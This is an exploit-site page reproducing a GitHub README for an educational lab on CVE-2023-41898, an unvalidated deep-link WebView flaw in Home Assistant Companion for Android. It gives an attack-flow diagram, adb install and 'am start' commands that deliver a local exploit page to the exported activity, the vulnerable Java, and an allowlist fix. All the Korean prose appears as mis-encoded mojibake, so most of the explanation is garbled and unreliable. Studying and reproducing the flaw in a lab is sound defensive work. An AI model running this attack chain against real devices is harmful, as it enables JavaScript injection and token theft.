Sploitus

Exploit for Code Injection in Home-Assistant Home Assistant Companion

githubexploit ยท 2026-08-11

Exploit Code

README129 lines
## https://sploitus.com/exploit?id=85CE0D72-B9CA-5860-8C98-E1ADFA9F46D1
# CVE-2023-41898 Unvalidated Deep Link Lab

Home Assistant Companion for Android์˜ ๊ณต๊ฐœ ์ทจ์•ฝ์  ๋ณด๊ณ ์„œ(GHSL-2023-142)์™€ ์ทจ์•ฝ ๋ฒ„์ „ `2023.8.2`์˜ ์˜คํ”ˆ์†Œ์Šค ๊ตฌ์กฐ๋ฅผ ๋ฐ”ํƒ•์œผ๋กœ ๋งŒ๋“  ๊ต์œก์šฉ ์ถ•์†Œ ์žฌํ˜„ Lab์ด๋‹ค.

์‹ค์ œ Home Assistant ์„œ๋ฒ„ยท๊ณ„์ •ยทํ† ํฐ์€ ์‚ฌ์šฉํ•˜์ง€ ์•Š๋Š”๋‹ค. `LAB_TOKEN_CVE_2023_41898_NOT_REAL`์ด๋ผ๋Š” ๊ณ ์ •๋œ ๊ฐ€์ƒ ํ† ํฐ๋งŒ ๋…ธ์ถœํ•œ๋‹ค.

## ์ทจ์•ฝ์  ๊ฐœ์š”

- ๋Œ€์ƒ: Home Assistant Companion for Android
- ์˜ํ–ฅ ๋ฒ„์ „: `2023.9.2` ๋ฏธ๋งŒ(๊ณต์‹ ๊ถŒ๊ณ  ๊ธฐ์ค€)
- ์ˆ˜์ • ๋ฒ„์ „: `2023.9.2`
- ๋ถ„๋ฅ˜: Unvalidated Deep Link Handling / Arbitrary URL Loading in WebView
- ๊ฒฐ๊ณผ: ์ž„์˜ JavaScript ์‹คํ–‰, ์ œํ•œ์  ๋„ค์ดํ‹ฐ๋ธŒ ๊ธฐ๋Šฅ ํ˜ธ์ถœ, ์ธ์ฆ์ •๋ณด ํƒˆ์ทจ ๊ฐ€๋Šฅ

## Lab ๊ตฌ์กฐ

```text
Attacker App
  โ”‚ explicit ACTION_VIEW Intent
  โ”‚ data=http://10.0.2.2:8000/exploit.html
  โ–ผ
Victim MyActivity (exported)
  โ”‚ ๊ฒ€์ฆ ์—†์ด JavaScript-enabled WebView.loadUrl()
  โ–ผ
exploit.html
  โ”‚ homeassistant://navigate/http://10.0.2.2:8000/second-stage.html
  โ–ผ
Victim WebViewActivity (privileged WebView)
  โ”‚ ๊ณต๊ฒฉ์ž ํŽ˜์ด์ง€์— externalApp JavaScript bridge ๋…ธ์ถœ
  โ–ผ
๊ฐ€์ƒ LAB_TOKEN ํ‘œ์‹œ
```

Android manifest์˜ intent-filter๋Š” ์–ด๋–ค URI๊ฐ€ ์•”์‹œ์  Intent์™€ ๋งค์นญ๋˜๋Š”์ง€๋ฅผ ์ •์˜ํ•  ๋ฟ, ๋ช…์‹œ์ ์œผ๋กœ ์ปดํฌ๋„ŒํŠธ๋ฅผ ์ง€์ •ํ•œ Intent์˜ data URI๋ฅผ ์ž๋™ ๊ฒ€์ฆํ•˜์ง€ ์•Š๋Š”๋‹ค.

## ๊ตฌ์„ฑ ์š”์†Œ

- `victim/`: ์ทจ์•ฝํ•œ deep-link handler์™€ ๊ถŒํ•œ ์žˆ๋Š” WebView๋ฅผ ์žฌํ˜„ํ•œ ์•ฑ
- `attacker/`: ํ”ผํ•ด ์•ฑ์˜ exported Activity์— ๋ช…์‹œ์  Intent๋ฅผ ๋ณด๋‚ด๋Š” ์•ฑ
- `web/`: ๋กœ์ปฌ์—์„œ ์ œ๊ณตํ•  1ยท2๋‹จ๊ณ„ ๊ณต๊ฒฉ ํŽ˜์ด์ง€
- `dist/`: ๊ฒ€์ฆ ์™„๋ฃŒ๋œ debug APK
- `UPSTREAM.md`: ์›๋ณธ ์†Œ์Šค์™€ Lab ๊ตฌํ˜„์˜ ๋Œ€์‘ ๊ด€๊ณ„

## ๋นŒ๋“œ

์š”๊ตฌ ์‚ฌํ•ญ: JDK 17 ์ด์ƒ, Android SDK 36, Gradle/Android Gradle Plugin ์บ์‹œ ๋˜๋Š” ์ธํ„ฐ๋„ท ์—ฐ๊ฒฐ.

```bash
./gradlew :victim:assembleDebug :attacker:assembleDebug
```

## ์„ค์น˜ ๋ฐ ์‹ค์Šต

ํ—ˆ๊ฐ€๋ฐ›์€ ์—๋ฎฌ๋ ˆ์ดํ„ฐ ๋˜๋Š” ํ…Œ์ŠคํŠธ ๊ธฐ๊ธฐ์—์„œ๋งŒ ์‹คํ–‰ํ•œ๋‹ค.

### 1. APK ์„ค์น˜

```bash
adb install -r dist/cve-2023-41898-victim-debug.apk
adb install -r dist/cve-2023-41898-attacker-debug.apk
```

### 2. ๋กœ์ปฌ ๊ณต๊ฒฉ ํŽ˜์ด์ง€ ์‹คํ–‰

Lab ๋ฃจํŠธ์—์„œ ๋‹ค์Œ ๋ช…๋ น์„ ์‹คํ–‰ํ•œ๋‹ค.

```bash
python3 -m http.server 8000 --directory web
```

Android Studio ๊ธฐ๋ณธ ์—๋ฎฌ๋ ˆ์ดํ„ฐ์—์„œ `10.0.2.2`๋Š” ํ˜ธ์ŠคํŠธ PC์˜ loopback์„ ๊ฐ€๋ฆฌํ‚จ๋‹ค. ์‹ค์ œ ํ…Œ์ŠคํŠธ ๊ธฐ๊ธฐ๋ฅผ ์“ด๋‹ค๋ฉด `web/exploit.html`๊ณผ ๊ณต๊ฒฉ ์•ฑ์˜ URL์„ PC์˜ LAN IP๋กœ ๋ณ€๊ฒฝํ•œ๋‹ค.

### 3. ๊ณต๊ฒฉ ํ๋ฆ„ ํ™•์ธ

1. `CVE-2023-41898 Victim`๊ณผ `CVE-2023-41898 Attacker` ์•ฑ์„ ์„ค์น˜ํ•œ๋‹ค.
2. ๋กœ์ปฌ HTTP ์„œ๋ฒ„๋ฅผ ์‹คํ–‰ํ•œ๋‹ค.
3. Attacker ์•ฑ์—์„œ **์ทจ์•ฝ ๋”ฅ๋งํฌ ํ๋ฆ„ ์‹คํ–‰**์„ ๋ˆ„๋ฅธ๋‹ค.
4. ์ฒซ ๋ฒˆ์งธ ๊ณต๊ฒฉ ํŽ˜์ด์ง€๊ฐ€ ๋‚ด๋ถ€ `homeassistant://navigate/` URL๋กœ ์ด๋™ํ•œ๋‹ค.
5. ๋‘ ๋ฒˆ์งธ WebView์— ๊ณต๊ฒฉ์ž ํŽ˜์ด์ง€๊ฐ€ ๋กœ๋“œ๋˜๊ณ  `LAB_TOKEN_CVE_2023_41898_NOT_REAL`์ด ํ‘œ์‹œ๋˜๋Š”์ง€ ํ™•์ธํ•œ๋‹ค.

ADB๋กœ ๊ณต๊ฒฉ ์•ฑ ์—†์ด ์ฒซ ๋‹จ๊ณ„๋ฅผ ํ˜ธ์ถœํ•  ์ˆ˜๋„ ์žˆ๋‹ค.

```bash
adb shell am start \
  -n lab.cve202341898.victim/.MyActivity \
  -a android.intent.action.VIEW \
  -d 'http://10.0.2.2:8000/exploit.html'
```

## ์ทจ์•ฝ ์ฝ”๋“œ์™€ ์ˆ˜์ • ๋ฐฉํ–ฅ

์ทจ์•ฝํ•œ ๊ตฌํ˜„์€ ์™ธ๋ถ€ URI๋ฅผ ๊ทธ๋Œ€๋กœ ๋กœ๋“œํ•œ๋‹ค.

```java
Uri urlToLoad = getIntent().getData();
webView.loadUrl(urlToLoad.toString());
```

์ˆ˜์ • ์‹œ์—๋Š” ํŒŒ์‹ฑ๋œ URI์˜ scheme, host, port, path๋ฅผ ์—„๊ฒฉํ•œ allowlist๋กœ ๊ฒ€์ฆํ•ด์•ผ ํ•œ๋‹ค. ๋ฌธ์ž์—ด `startsWith` ๋น„๊ต๋Š” ์‚ฌ์šฉ์ž์ •๋ณด(`trusted.example@evil.example`), ์„œ๋ธŒ๋„๋ฉ”์ธ ๋ฐ ์ธ์ฝ”๋”ฉ ์šฐํšŒ ์œ„ํ—˜์ด ์žˆ์œผ๋ฏ€๋กœ ์‚ฌ์šฉํ•˜์ง€ ์•Š๋Š”๋‹ค.

```java
Uri uri = getIntent().getData();
boolean trusted = uri != null
        && "https".equals(uri.getScheme())
        && "my.home-assistant.io".equals(uri.getHost())
        && uri.getPort() == -1
        && uri.getPath() != null
        && uri.getPath().startsWith("/redirect/");
if (!trusted) {
    finish();
    return;
}
```

์ถ”๊ฐ€๋กœ WebView์—์„œ ๋ถˆํ•„์š”ํ•œ JavaScript์™€ `JavascriptInterface`๋ฅผ ์ œ๊ฑฐํ•˜๊ณ , ๋ชจ๋“  ํƒ์ƒ‰๊ณผ ๋ฆฌ๋‹ค์ด๋ ‰์…˜์—๋„ ๋™์ผํ•œ URL ๊ฒ€์ฆ์„ ์ ์šฉํ•ด์•ผ ํ•œ๋‹ค.

## ์•ˆ์ „ ๋ฒ”์œ„์™€ ์›๋ณธ์˜ ์ฐจ์ด

- ์›๋ณธ ์•ฑ ์ „์ฒด๋ฅผ ๋นŒ๋“œํ•˜์ง€ ์•Š๊ณ  ์ทจ์•ฝ ๋ฐ์ดํ„ฐ ํ๋ฆ„๋งŒ ์ž‘์€ Java ํ”„๋กœ์ ํŠธ๋กœ ์žฌํ˜„ํ–ˆ๋‹ค.
- ์‹ค์ œ ํŒจํ‚ค์ง€๋ช…, ์ธ์ฆ ์ €์žฅ์†Œ, ์„œ๋ฒ„ ํ†ต์‹  ๋ฐ ์Šค๋งˆํŠธํ™ˆ ๊ธฐ๋Šฅ์„ ํฌํ•จํ•˜์ง€ ์•Š๋Š”๋‹ค.
- ์‹ค์ œ ์ธ์ฆ ํ† ํฐ ๋Œ€์‹  ๊ณ ์ •๋œ ๊ฐ€์ƒ ํ† ํฐ๋งŒ ์‚ฌ์šฉํ•œ๋‹ค.
- ์ธํ„ฐ๋„ท ๊ณต๊ฒฉ ์„œ๋ฒ„๊ฐ€ ์•„๋‹Œ ํ˜ธ์ŠคํŠธ PC์˜ ๋กœ์ปฌ HTTP ์„œ๋ฒ„๋งŒ ์‚ฌ์šฉํ•œ๋‹ค.

## ์ฐธ๊ณ  ์ž๋ฃŒ

- GitHub Security Lab GHSL-2023-142: 
- Home Assistant ๋ณด์•ˆ ๊ถŒ๊ณ  GHSA-jvpm-q3hq-86rg: 
- ์ทจ์•ฝ ๋ฒ„์ „ ์†Œ์Šค ํƒœ๊ทธ `2023.8.2`: